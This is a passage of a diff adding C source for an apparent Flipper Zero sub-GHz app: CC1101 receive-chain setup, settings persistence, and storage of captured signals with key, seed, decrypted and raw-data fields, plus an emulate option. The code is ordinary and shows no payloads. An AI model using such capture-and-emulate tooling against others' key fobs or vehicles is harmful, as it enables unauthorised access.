uint32_t minimum_bandwidth =
data_rate + (2UL * deviation) + GDR_FM_BANDWIDTH_GUARD_HZ;
uint32_t selected_bandwidth = 0U;
uint8_t bandwidth_bits =
gdr_rx_chain_select_bandwidth_bits(minimum_bandwidth, &selected_bandwidth);
uint32_t original_bandwidth = gdr_rx_chain_channel_bandwidth_hz(mdmcfg4);
if(selected_bandwidth >= original_bandwidth) {
chain->rx_bandwidth_hz = original_bandwidth;
FURI_LOG_I(
TAG,
"[%c] FM preset already uses suitable %lu Hz bandwidth",
chain->label,
original_bandwidth);
return true;
}
uint8_t* copy = malloc(chain->base_preset_data_size);
if(!copy) {
FURI_LOG_E(TAG, "[%c] failed to copy FM preset", chain->label);
return false;
}
memcpy(copy, chain->base_preset_data, chain->base_preset_data_size);
uint8_t profiled_mdmcfg4 = (uint8_t)((mdmcfg4 & 0x0FU) | (bandwidth_bits << 4U));
if(!gdr_rx_chain_preset_set_register(
copy,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG4,
profiled_mdmcfg4)) {
free(copy);
return true;
}
if(selected_bandwidth <= 101562UL) {
uint8_t agcctrl2 = 0U;
if(gdr_rx_chain_preset_get_register(
copy,
chain->base_preset_data_size,
GDR_CC1101_REG_AGCCTRL2,
&agcctrl2)) {
gdr_rx_chain_preset_set_register(
copy,
chain->base_preset_data_size,
GDR_CC1101_REG_AGCCTRL2,
(uint8_t)((agcctrl2 & 0xF8U) | 0x03U));
}
}
chain->owned_preset_data = copy;
chain->preset.data = copy;
chain->preset.data_size = chain->base_preset_data_size;
chain->rx_bandwidth_hz = selected_bandwidth;
FURI_LOG_I(
TAG,
"[%c] FM Shield profile: rate=%lu dev=%lu bandwidth=%lu Hz",
chain->label,
data_rate,
deviation,
selected_bandwidth);
return true;
}
bool gdr_rx_chain_apply_shield_profile(GDRRxChain* chain) {
furi_check(chain);
if(chain->owned_preset_data) {
free(chain->owned_preset_data);
chain->owned_preset_data = NULL;
}
chain->preset.data = chain->base_preset_data;
chain->preset.data_size = chain->base_preset_data_size;
uint8_t mdmcfg2 = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG2,
&mdmcfg2)) {
FURI_LOG_W(TAG, "[%c] preset modulation unknown; retaining original", chain->label);
return true;
}
switch(mdmcfg2 & GDR_CC1101_MOD_FORMAT_MASK) {
case GDR_CC1101_MOD_FORMAT_OOK:
return gdr_rx_chain_apply_ook_shield_profile(chain);
case GDR_CC1101_MOD_FORMAT_2FSK:
case GDR_CC1101_MOD_FORMAT_GFSK:
return gdr_rx_chain_apply_fm_shield_profile(chain);
default:
FURI_LOG_W(TAG, "[%c] no Shield profile for modulation; retaining original", chain->label);
return true;
}
}
bool gdr_rx_chain_init_receiver(GDRRxChain* chain) {
furi_check(chain);
if(!chain->environment) {
chain->environment = subghz_environment_alloc();
if(!chain->environment) {
FURI_LOG_E(TAG, "[%c] Failed to allocate environment", chain->label);
return false;
}
}
if(!chain->plugin) {
CompositeApiResolver* resolver = composite_api_resolver_alloc();
if(!resolver) {
FURI_LOG_E(TAG, "[%c] Failed to allocate plugin resolver", chain->label);
return false;
}
composite_api_resolver_add(resolver, firmware_api_interface);
PluginManager* manager = plugin_manager_alloc(
GDR_PROTOCOL_PLUGIN_APP_ID,
GDR_PROTOCOL_PLUGIN_API_VERSION,
composite_api_resolver_get(resolver));
if(!manager) {
FURI_LOG_E(TAG, "[%c] Failed to allocate plugin manager", chain->label);
composite_api_resolver_free(resolver);
return false;
}
const char* plugin_path = gdr_rx_chain_plugin_path(chain->filter);
PluginManagerError error = plugin_manager_load_single(manager, plugin_path);
if(error != PluginManagerErrorNone) {
FURI_LOG_E(TAG, "[%c] Failed to load plugin %s: %d", chain->label, plugin_path, (int)error);
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
const GDRProtocolPlugin* plugin = plugin_manager_get_ep(manager, 0U);
if(!plugin || !plugin->registry || plugin->filter != chain->filter) {
FURI_LOG_E(TAG, "[%c] Invalid plugin entry point", chain->label);
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
chain->resolver = resolver;
chain->plugin_manager = manager;
chain->plugin = plugin;
chain->registry = plugin->registry;
}
subghz_environment_set_protocol_registry(chain->environment, chain->registry);
subghz_environment_load_keystore(chain->environment, GDR_CHAIN_KEYSTORE_DIR);
gdr_keys_load(chain->environment);
if(!chain->receiver) {
chain->receiver = subghz_receiver_alloc_init(chain->environment);
if(!chain->receiver) {
FURI_LOG_E(TAG, "[%c] Failed to allocate receiver", chain->label);
return false;
}
subghz_receiver_set_filter(chain->receiver, SubGhzProtocolFlag_Decodable);
}
if(!chain->worker) {
chain->worker = subghz_worker_alloc();
if(!chain->worker) {
FURI_LOG_E(TAG, "[%c] Failed to allocate worker", chain->label);
return false;
}
subghz_worker_set_overrun_callback(
chain->worker, (SubGhzWorkerOverrunCallback)subghz_receiver_reset);
subghz_worker_set_pair_callback(
chain->worker, (SubGhzWorkerPairCallback)subghz_receiver_decode);
subghz_worker_set_context(chain->worker, chain->receiver);
}
return true;
}
void gdr_rx_chain_set_decode_callback(
GDRRxChain* chain,
SubGhzReceiverCallback callback,
void* context) {
furi_check(chain);
furi_check(chain->receiver);
subghz_receiver_set_rx_callback(chain->receiver, callback, context);
}
bool gdr_rx_chain_start(GDRRxChain* chain) {
furi_check(chain);
if(!chain->device || !chain->worker || !chain->receiver) {
FURI_LOG_E(TAG, "[%c] start rejected (incomplete stack)", chain->label);
return false;
}
if(chain->state == GDRTxRxStateRx) {
return true;
}
if(!subghz_devices_is_frequency_valid(chain->device, chain->frequency)) {
FURI_LOG_E(TAG, "[%c] invalid frequency %lu", chain->label, chain->frequency);
return false;
}
subghz_receiver_reset(chain->receiver);
subghz_devices_reset(chain->device);
subghz_devices_idle(chain->device);
subghz_devices_load_preset(chain->device, FuriHalSubGhzPresetCustom, chain->preset.data);
subghz_devices_set_frequency(chain->device, chain->frequency);
subghz_devices_flush_rx(chain->device);
subghz_devices_set_rx(chain->device);
subghz_devices_start_async_rx(chain->device, subghz_worker_rx_callback, chain->worker);
subghz_worker_start(chain->worker);
chain->state = GDRTxRxStateRx;
FURI_LOG_I(TAG, "[%c] RX started on %lu Hz", chain->label, chain->frequency);
return true;
}
void gdr_rx_chain_stop(GDRRxChain* chain) {
if(!chain) {
return;
}
if(chain->state != GDRTxRxStateRx) {
return;
}
if(chain->worker && subghz_worker_is_running(chain->worker)) {
subghz_worker_stop(chain->worker);
}
if(chain->device) {
subghz_devices_stop_async_rx(chain->device);
subghz_devices_idle(chain->device);
}
chain->state = GDRTxRxStateIDLE;
}
float gdr_rx_chain_get_rssi(GDRRxChain* chain) {
furi_check(chain);
if(!chain->device || chain->state != GDRTxRxStateRx) {
return -127.0f;
}
return subghz_devices_get_rssi(chain->device);
}
#endif // ENABLE_DUAL_RX_SCENE || ENABLE_SHIELD_RX_SCENE
@@ -0,0 +1,82 @@
// helpers/gdr_rx_chain.h
#pragma once
#include "gdr_types.h"
#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
#include <lib/subghz/subghz_worker.h>
#include <lib/subghz/receiver.h>
#include <lib/subghz/subghz_setting.h>
#include <lib/subghz/devices/devices.h>
#include <lib/subghz/types.h>
#include <lib/flipper_application/plugins/plugin_manager.h>
#include <lib/flipper_application/plugins/composite_resolver.h>
#include "radio_device_loader.h"
#include "../protocols/protocol_items.h"
#include "../protocols/gdr_protocol_plugins.h"
typedef struct {
char label; // 'A' or 'B' (display tag)
const SubGhzDevice* device;
bool is_external;
SubGhzWorker* worker;
SubGhzReceiver* receiver;
SubGhzEnvironment* environment;
CompositeApiResolver* resolver;
PluginManager* plugin_manager;
const GDRProtocolPlugin* plugin;
const SubGhzProtocolRegistry* registry;
GDRProtocolRegistryFilter filter;
SubGhzRadioPreset preset; // .name is an owned FuriString
uint8_t* base_preset_data;
size_t base_preset_data_size;
uint8_t* owned_preset_data;
uint32_t frequency;
uint32_t rx_bandwidth_hz;
GDRTxRxState state;
} GDRRxChain;
GDRRxChain* gdr_rx_chain_alloc(char label);
void gdr_rx_chain_free(GDRRxChain* chain);
bool gdr_rx_chain_acquire_device(
GDRRxChain* chain,
SubGhzRadioDeviceType type);
bool gdr_rx_chain_set_preset(
GDRRxChain* chain,
SubGhzSetting* setting,
const char* preset_name,
uint32_t frequency);
bool gdr_rx_chain_set_preset_data(
GDRRxChain* chain,
const char* preset_name,
uint8_t* preset_data,
size_t preset_data_size,
uint32_t frequency);
bool gdr_rx_chain_apply_shield_profile(GDRRxChain* chain);
bool gdr_rx_chain_init_receiver(GDRRxChain* chain);
void gdr_rx_chain_set_decode_callback(
GDRRxChain* chain,
SubGhzReceiverCallback callback,
void* context);
bool gdr_rx_chain_start(GDRRxChain* chain);
void gdr_rx_chain_stop(GDRRxChain* chain);
float gdr_rx_chain_get_rssi(GDRRxChain* chain);
#endif // ENABLE_DUAL_RX_SCENE || ENABLE_SHIELD_RX_SCENE
@@ -0,0 +1,264 @@
// helpers/gdr_settings.c
#include "gdr_settings.h"
#include <storage/storage.h>
#include <flipper_format/flipper_format.h>
#include <furi.h>
#include <stdio.h>
#include "../defines.h"
#include "../protocols/protocols_common.h"
#define TAG "GDRSettings"
#define SETTINGS_FILE_HEADER "GDR Settings"
#define SETTINGS_FILE_VERSION 1
void gdr_settings_set_defaults(GDRSettings* settings) {
settings->frequency = 433920000;
settings->preset_index = 0;
settings->tx_power = 0;
settings->auto_save = false;
settings->hopping_enabled = false;
settings->emulate_feature_enabled = false;
settings->dual_freq_a = 433920000;
settings->dual_freq_b = 433920000;
settings->dual_preset_a = 0xFF;
settings->dual_preset_b = 0xFF;
settings->dual_preset_name_a[0] = '\0';
settings->dual_preset_name_b[0] = '\0';
settings->shield_freq = 433920000;
settings->shield_preset_index = 0;
settings->shield_tx_offset_index = 3;
settings->shield_tx_power = 0;
}
void gdr_settings_load(GDRSettings* settings) {
// Set defaults first
gdr_settings_set_defaults(settings);
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* ff = flipper_format_file_alloc(storage);
do {
if(!flipper_format_file_open_existing(ff, GDR_SETTINGS_FILE)) {
FURI_LOG_I(TAG, "Settings file not found, using defaults");
break;
}
FuriString* header = furi_string_alloc();
uint32_t version = 0;
if(!flipper_format_read_header(ff, header, &version)) {
FURI_LOG_W(TAG, "Failed to read settings header");
furi_string_free(header);
break;
}
if(version != SETTINGS_FILE_VERSION) {
FURI_LOG_W(TAG, "Unsupported settings version %lu", (unsigned long)version);
furi_string_free(header);
break;
}
if(furi_string_cmp_str(header, SETTINGS_FILE_HEADER) != 0) {
FURI_LOG_W(TAG, "Invalid settings file header");
furi_string_free(header);
break;
}
furi_string_free(header);
// Read frequency
if(!flipper_format_read_uint32(ff, FF_FREQUENCY, &settings->frequency, 1)) {
FURI_LOG_W(TAG, "Failed to read frequency, using default");
settings->frequency = 433920000;
}
// Read preset index
uint32_t preset_temp = 0;
if(!flipper_format_read_uint32(ff, "PresetIndex", &preset_temp, 1)) {
FURI_LOG_W(TAG, "Failed to read preset index, using default");
preset_temp = 0;
}
settings->preset_index = (uint8_t)preset_temp;
// Read auto-save
uint32_t auto_save_temp = 0;
if(!flipper_format_read_uint32(ff, "AutoSave", &auto_save_temp, 1)) {
FURI_LOG_W(TAG, "Failed to read auto-save, using default");
auto_save_temp = 0;
}
settings->auto_save = (auto_save_temp == 1);
// Read tx-power
uint32_t tx_power_temp = 0;
if(!flipper_format_read_uint32(ff, "TXPower", &tx_power_temp, 1)) {
FURI_LOG_W(TAG, "Failed to read TXPower, using default");
tx_power_temp = 0;
}
settings->tx_power = (uint8_t)tx_power_temp;
// Read hopping
uint32_t hopping_temp = 0;
if(!flipper_format_read_uint32(ff, "Hopping", &hopping_temp, 1)) {
FURI_LOG_W(TAG, "Failed to read hopping, using default");
hopping_temp = 0;
}
settings->hopping_enabled = (hopping_temp == 1);
uint32_t emulate_temp = 0;
if(!flipper_format_read_uint32(ff, "EmulateFeature", &emulate_temp, 1)) {
FURI_LOG_I(TAG, "EmulateFeature key missing, defaulting to disabled");
emulate_temp = 0;
}
settings->emulate_feature_enabled = (emulate_temp == 1);
flipper_format_rewind(ff);
flipper_format_read_uint32(ff, "DualFreqA", &settings->dual_freq_a, 1);
flipper_format_rewind(ff);
flipper_format_read_uint32(ff, "DualFreqB", &settings->dual_freq_b, 1);
uint32_t dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "DualPresetA", &dual_preset_temp, 1)) {
settings->dual_preset_a = (uint8_t)dual_preset_temp;
}
dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "DualPresetB", &dual_preset_temp, 1)) {
settings->dual_preset_b = (uint8_t)dual_preset_temp;
}
FuriString* preset_name = furi_string_alloc();
flipper_format_rewind(ff);
if(flipper_format_read_string(ff, "DualPresetNameA", preset_name)) {
snprintf(
settings->dual_preset_name_a,
sizeof(settings->dual_preset_name_a),
"%s",
furi_string_get_cstr(preset_name));
}
flipper_format_rewind(ff);
if(flipper_format_read_string(ff, "DualPresetNameB", preset_name)) {
snprintf(
settings->dual_preset_name_b,
sizeof(settings->dual_preset_name_b),
"%s",
furi_string_get_cstr(preset_name));
}
furi_string_free(preset_name);
flipper_format_rewind(ff);
flipper_format_read_uint32(ff, "ShieldFreq", &settings->shield_freq, 1);
dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "ShieldPreset", &dual_preset_temp, 1)) {
settings->shield_preset_index = (uint8_t)dual_preset_temp;
}
dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "ShieldTxOffset", &dual_preset_temp, 1)) {
settings->shield_tx_offset_index = (uint8_t)dual_preset_temp;
}
dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "ShieldTxPower", &dual_preset_temp, 1)) {
settings->shield_tx_power = (uint8_t)dual_preset_temp;
}
FURI_LOG_I(
TAG,
"Settings loaded: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
settings->frequency,
settings->preset_index,
settings->auto_save,
settings->hopping_enabled,
settings->emulate_feature_enabled);
} while(false);
flipper_format_free(ff);
furi_record_close(RECORD_STORAGE);
}
void gdr_settings_save(GDRSettings* settings) {
Storage* storage = furi_record_open(RECORD_STORAGE);
// Ensure directory exists
storage_simply_mkdir(storage, GDR_SETTINGS_DIR);
FlipperFormat* ff = flipper_format_file_alloc(storage);
do {
if(!flipper_format_file_open_always(ff, GDR_SETTINGS_FILE)) {
FURI_LOG_E(TAG, "Failed to open settings file for writing");
break;
}
if(!flipper_format_write_header_cstr(ff, SETTINGS_FILE_HEADER, SETTINGS_FILE_VERSION)) {
FURI_LOG_E(TAG, "Failed to write settings header");
break;
}
if(!flipper_format_write_uint32(ff, FF_FREQUENCY, &settings->frequency, 1)) {
FURI_LOG_E(TAG, "Failed to write frequency");
break;
}
uint32_t preset_temp = settings->preset_index;
if(!flipper_format_write_uint32(ff, "PresetIndex", &preset_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write preset index");
break;
}
uint32_t auto_save_temp = settings->auto_save ? 1 : 0;
if(!flipper_format_write_uint32(ff, "AutoSave", &auto_save_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write auto-save");
break;
}
uint32_t tx_power_temp = settings->tx_power;
if(!flipper_format_write_uint32(ff, "TXPower", &tx_power_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write TX Power");
break;
}
uint32_t hopping_temp = settings->hopping_enabled ? 1 : 0;
if(!flipper_format_write_uint32(ff, "Hopping", &hopping_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write hopping");
break;
}
uint32_t emulate_temp = settings->emulate_feature_enabled ? 1 : 0;
if(!flipper_format_write_uint32(ff, "EmulateFeature", &emulate_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write emulate feature flag");
break;
}
flipper_format_write_uint32(ff, "DualFreqA", &settings->dual_freq_a, 1);
flipper_format_write_uint32(ff, "DualFreqB", &settings->dual_freq_b, 1);
uint32_t dual_preset_a_temp = settings->dual_preset_a;
flipper_format_write_uint32(ff, "DualPresetA", &dual_preset_a_temp, 1);
uint32_t dual_preset_b_temp = settings->dual_preset_b;
flipper_format_write_uint32(ff, "DualPresetB", &dual_preset_b_temp, 1);
flipper_format_write_string_cstr(
ff, "DualPresetNameA", settings->dual_preset_name_a);
flipper_format_write_string_cstr(
ff, "DualPresetNameB", settings->dual_preset_name_b);
flipper_format_write_uint32(ff, "ShieldFreq", &settings->shield_freq, 1);
uint32_t shield_preset_temp = settings->shield_preset_index;
flipper_format_write_uint32(ff, "ShieldPreset", &shield_preset_temp, 1);
uint32_t shield_offset_temp = settings->shield_tx_offset_index;
flipper_format_write_uint32(ff, "ShieldTxOffset", &shield_offset_temp, 1);
uint32_t shield_power_temp = settings->shield_tx_power;
flipper_format_write_uint32(ff, "ShieldTxPower", &shield_power_temp, 1);
FURI_LOG_I(
TAG,
"Settings saved: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
settings->frequency,
settings->preset_index,
settings->auto_save,
settings->hopping_enabled,
settings->emulate_feature_enabled);
} while(false);
flipper_format_free(ff);
furi_record_close(RECORD_STORAGE);
}
@@ -0,0 +1,32 @@
// helpers/gdr_settings.h
#pragma once
#include <stdint.h>
#include <stdbool.h>
#define GDR_SETTINGS_FILE APP_DATA_PATH("settings.txt")
#define GDR_SETTINGS_DIR APP_DATA_PATH()
#define GDR_PRESET_NAME_MAX 64U
typedef struct {
uint32_t frequency;
uint8_t preset_index;
uint8_t tx_power;
bool auto_save;
bool hopping_enabled;
bool emulate_feature_enabled;
uint32_t dual_freq_a;
uint32_t dual_freq_b;
uint8_t dual_preset_a;
uint8_t dual_preset_b;
char dual_preset_name_a[GDR_PRESET_NAME_MAX];
char dual_preset_name_b[GDR_PRESET_NAME_MAX];
uint32_t shield_freq;
uint8_t shield_preset_index;
uint8_t shield_tx_offset_index;
uint8_t shield_tx_power;
} GDRSettings;
void gdr_settings_load(GDRSettings* settings);
void gdr_settings_save(GDRSettings* settings);
void gdr_settings_set_defaults(GDRSettings* settings);
@@ -0,0 +1,558 @@
// helpers/gdr_storage.c
#include "gdr_storage.h"
#include "../defines.h"
#include "../protocols/protocols_common.h"
#define TAG "GDRStorage"
bool gdr_storage_init(void) {
Storage* storage = furi_record_open(RECORD_STORAGE);
bool result = storage_simply_mkdir(storage, GDR_APP_FOLDER);
furi_record_close(RECORD_STORAGE);
return result;
}
void gdr_storage_wipe_history_cache(void) {
Storage* storage = furi_record_open(RECORD_STORAGE);
if(storage_dir_exists(storage, GDR_HISTORY_FOLDER)) {
storage_simply_remove_recursive(storage, GDR_HISTORY_FOLDER);
FURI_LOG_I(TAG, "Wiped history cache");
}
furi_record_close(RECORD_STORAGE);
}
void gdr_storage_purge_temp_history_at_startup(void) {
Storage* storage = furi_record_open(RECORD_STORAGE);
if(storage_dir_exists(storage, GDR_HISTORY_FOLDER)) {
storage_simply_remove_recursive(storage, GDR_HISTORY_FOLDER);
}
furi_record_close(RECORD_STORAGE);
}
bool gdr_storage_ensure_history_folder(void) {
if(!gdr_storage_init()) {
return false;
}
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, GDR_CACHE_FOLDER);
bool ok = storage_simply_mkdir(storage, GDR_HISTORY_FOLDER);
furi_record_close(RECORD_STORAGE);
return ok;
}
void gdr_storage_build_history_path(uint32_t seq, FuriString* out) {
furi_check(out);
furi_string_printf(
out,
"%s/hist_%08lu%s",
GDR_HISTORY_FOLDER,
(unsigned long)seq,
GDR_APP_EXTENSION);
}
bool gdr_storage_save_history_capture(
FlipperFormat* flipper_format,
uint32_t seq,
FuriString* out_path) {
furi_check(flipper_format);
furi_check(out_path);
if(!gdr_storage_ensure_history_folder()) {
FURI_LOG_E(TAG, "History folder missing");
return false;
}
gdr_storage_build_history_path(seq, out_path);
return gdr_storage_save_capture_to_path(
flipper_format, furi_string_get_cstr(out_path));
}
static void sanitize_filename(const char* input, char* output, size_t output_size) {
if(!output || output_size == 0) return;
if(!input) {
output[0] = '\0';
return;
}
size_t i = 0;
size_t j = 0;
while(input[i] != '\0' && j < output_size - 1) {
char c = input[i];
if(c == '/' || c == '\\' || c == ':' || c == '*' || c == '?' || c == '"' || c == '<' ||
c == '>' || c == '|' || c == ' ') {
output[j] = '_';
} else {
output[j] = c;
}
i++;
j++;
}
output[j] = '\0';
}
bool gdr_storage_get_next_filename(const char* protocol_name, FuriString* out_filename) {
if(!protocol_name || !out_filename) return false;
Storage* storage = furi_record_open(RECORD_STORAGE);
FuriString* temp_path = furi_string_alloc();
uint32_t index = 0;
bool found = false;
char safe_name[64];
sanitize_filename(protocol_name, safe_name, sizeof(safe_name));
while(!found && index <= 999) {
furi_string_printf(
temp_path,
"%s/%s_%03lu%s",
GDR_APP_FOLDER,
safe_name,
(unsigned long)index,
GDR_APP_EXTENSION);
if(!storage_file_exists(storage, furi_string_get_cstr(temp_path))) {
furi_string_set(out_filename, temp_path);
found = true;
} else {
index++;
}
}
furi_string_free(temp_path);
furi_record_close(RECORD_STORAGE);
return found;
}
static const char* const gdr_storage_base_u32_fields[] = {
"TE",
FF_SERIAL,
FF_BTN,
"BtnSig",
FF_CNT,
"Extra",
"ExtraBit",
"Extra_bits",
"Tail",
"Checksum",
"CRC",
FF_TYPE,
};
static const char* const gdr_storage_tail_u32_fields[] = {
"DataHi",
"DataLo",
"RawCnt",
"Encrypted",
"Decrypted",
"KIAVersion",
"Checksum",
};
static bool gdr_storage_fail(const char* action, const char* key) {
UNUSED(action);
UNUSED(key);
FURI_LOG_E(TAG, "%s failed: %s", action, key);
return false;
}
static bool
gdr_storage_get_count(FlipperFormat* flipper_format, const char* key, uint32_t* count) {
*count = 0;
flipper_format_rewind(flipper_format);
return flipper_format_get_value_count(flipper_format, key, count) && (*count > 0);
}
static bool gdr_storage_copy_string_optional(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
FuriString* value) {
flipper_format_rewind(flipper_format);
if(!flipper_format_read_string(flipper_format, key, value)) {
return true;
}
if(!flipper_format_write_string(save_file, key, value)) {
return gdr_storage_fail("Write", key);
}
return true;
}
static bool gdr_storage_copy_string_if_present(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
FuriString* value) {
uint32_t count = 0;
if(!gdr_storage_get_count(flipper_format, key, &count)) {
return true;
}
if(!flipper_format_read_string(flipper_format, key, value)) {
return gdr_storage_fail("Read", key);
}
if(!flipper_format_write_string(save_file, key, value)) {
return gdr_storage_fail("Write", key);
}
return true;
}
static bool gdr_storage_copy_u32_optional(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key) {
uint32_t value = 0;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(flipper_format, key, &value, 1)) {
return true;
}
if(!flipper_format_write_uint32(save_file, key, &value, 1)) {
return gdr_storage_fail("Write", key);
}
return true;
}
static bool gdr_storage_copy_u32_fields(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* const* fields,
size_t field_count) {
for(size_t i = 0; i < field_count; i++) {
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, fields[i])) {
return false;
}
}
return true;
}
static bool gdr_storage_copy_hex_fixed(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
size_t len,
bool* copied) {
uint8_t data[8];
furi_check(len <= sizeof(data));
if(copied) {
*copied = false;
}
flipper_format_rewind(flipper_format);
if(!flipper_format_read_hex(flipper_format, key, data, len)) {
return true;
}
if(copied) {
*copied = true;
}
if(!flipper_format_write_hex(save_file, key, data, len)) {
return gdr_storage_fail("Write", key);
}
return true;
}
static bool gdr_storage_copy_u32_array(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
uint32_t count,
uint32_t max_count) {
if(count >= max_count) {
FURI_LOG_E(TAG, "%s too large: %lu", key, (unsigned long)count);
return false;
}
uint32_t* data = malloc(sizeof(uint32_t) * count);
if(!data) {
FURI_LOG_E(TAG, "Malloc failed: %s (%lu u32)", key, (unsigned long)count);
return false;
}
bool status = false;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(flipper_format, key, data, count)) {
gdr_storage_fail("Read", key);
} else if(!flipper_format_write_uint32(save_file, key, data, count)) {
gdr_storage_fail("Write", key);
} else {
status = true;
}
free(data);
return status;
}
static bool gdr_storage_copy_u32_array_if_present(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
uint32_t max_count) {
uint32_t count = 0;
if(!gdr_storage_get_count(flipper_format, key, &count)) {
return true;
}
return gdr_storage_copy_u32_array(save_file, flipper_format, key, count, max_count);
}
static bool gdr_storage_copy_hex_array_if_present(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
uint32_t max_count) {
uint32_t count = 0;
if(!gdr_storage_get_count(flipper_format, key, &count)) {
return true;
}
if(count >= max_count) {
FURI_LOG_E(TAG, "%s too large: %lu", key, (unsigned long)count);
return false;
}
uint8_t* data = malloc(count);
if(!data) {
FURI_LOG_E(TAG, "Malloc failed: %s (%lu bytes)", key, (unsigned long)count);
return false;
}
bool status = false;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_hex(flipper_format, key, data, count)) {
gdr_storage_fail("Read", key);
} else if(!flipper_format_write_hex(save_file, key, data, count)) {
gdr_storage_fail("Write", key);
} else {
status = true;
}
free(data);
return status;
}
static bool gdr_storage_copy_key(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
FuriString* value) {
uint32_t count = 0;
flipper_format_rewind(flipper_format);
if(flipper_format_read_string(flipper_format, FF_KEY, value)) {
if(!flipper_format_write_string(save_file, FF_KEY, value)) {
return gdr_storage_fail("Write", FF_KEY);
}
return true;
}
if(gdr_storage_get_count(flipper_format, FF_KEY, &count)) {
return gdr_storage_copy_u32_array(save_file, flipper_format, FF_KEY, count, 1024);
}
return gdr_storage_copy_hex_fixed(save_file, flipper_format, FF_KEY, 8, NULL);
}
static bool gdr_storage_copy_hex_or_u32(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
size_t hex_len) {
bool copied = false;
if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, key, hex_len, &copied)) {
return false;
}
return copied || gdr_storage_copy_u32_optional(save_file, flipper_format, key);
}
static bool gdr_storage_copy_key_2(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
FuriString* value) {
bool copied = false;
if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, "Key_2", 8, &copied)) {
return false;
}
if(copied) {
return true;
}
return gdr_storage_copy_string_optional(save_file, flipper_format, "Key_2", value) &&
gdr_storage_copy_u32_optional(save_file, flipper_format, "Key_2");
}
static bool gdr_storage_write_capture_data(
FlipperFormat* save_file,
FlipperFormat* flipper_format) {
furi_check(save_file);
furi_check(flipper_format);
FuriString* string_value = furi_string_alloc();
if(!string_value) {
FURI_LOG_E(TAG, "Failed to alloc string_value");
return false;
}
bool status = false;
do {
if(!gdr_storage_copy_string_optional(
save_file, flipper_format, FF_PROTOCOL, string_value))
break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, FF_BIT)) break;
if(!gdr_storage_copy_key(save_file, flipper_format, string_value)) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, FF_FREQUENCY)) break;
if(!gdr_storage_copy_string_optional(
save_file, flipper_format, FF_PRESET, string_value))
break;
if(!gdr_storage_copy_string_optional(
save_file, flipper_format, "RadioDevice", string_value))
break;
if(!gdr_storage_copy_string_if_present(
save_file, flipper_format, "Custom_preset_module", string_value))
break;
if(!gdr_storage_copy_hex_array_if_present(
save_file, flipper_format, "Custom_preset_data", 1024))
break;
if(!gdr_storage_copy_u32_fields(
save_file,
flipper_format,
gdr_storage_base_u32_fields,
COUNT_OF(gdr_storage_base_u32_fields)))
break;
if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, "Key2", 8, NULL)) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "KeyIdx")) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Seed")) break;
if(!gdr_storage_copy_hex_or_u32(save_file, flipper_format, "ValidationField", 2))
break;
if(!gdr_storage_copy_key_2(save_file, flipper_format, string_value)) break;
if(!gdr_storage_copy_hex_or_u32(save_file, flipper_format, "Key_3", 4)) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Key_4")) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Fx")) break;
if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, "Key1", 8, NULL)) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Check")) break;
if(!gdr_storage_copy_u32_array_if_present(
save_file, flipper_format, "RAW_Data", 4096))
break;
if(!gdr_storage_copy_u32_fields(
save_file,
flipper_format,
gdr_storage_tail_u32_fields,
COUNT_OF(gdr_storage_tail_u32_fields)))
break;
if(!gdr_storage_copy_string_optional(
save_file, flipper_format, FF_MANUFACTURE, string_value))
break;
status = true;
} while(false);
furi_string_free(string_value);
return status;
}
bool gdr_storage_save_capture_to_path(FlipperFormat* flipper_format, const char* full_path) {
furi_check(flipper_format);
furi_check(full_path);
if(!gdr_storage_init()) {
FURI_LOG_E(TAG, "Failed to create app folder");
return false;
}
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* save_file = flipper_format_file_alloc(storage);
bool result = false;
do {
// Remove if it already exists (overwrite)
if(storage_file_exists(storage, full_path)) {
storage_simply_remove(storage, full_path);
}
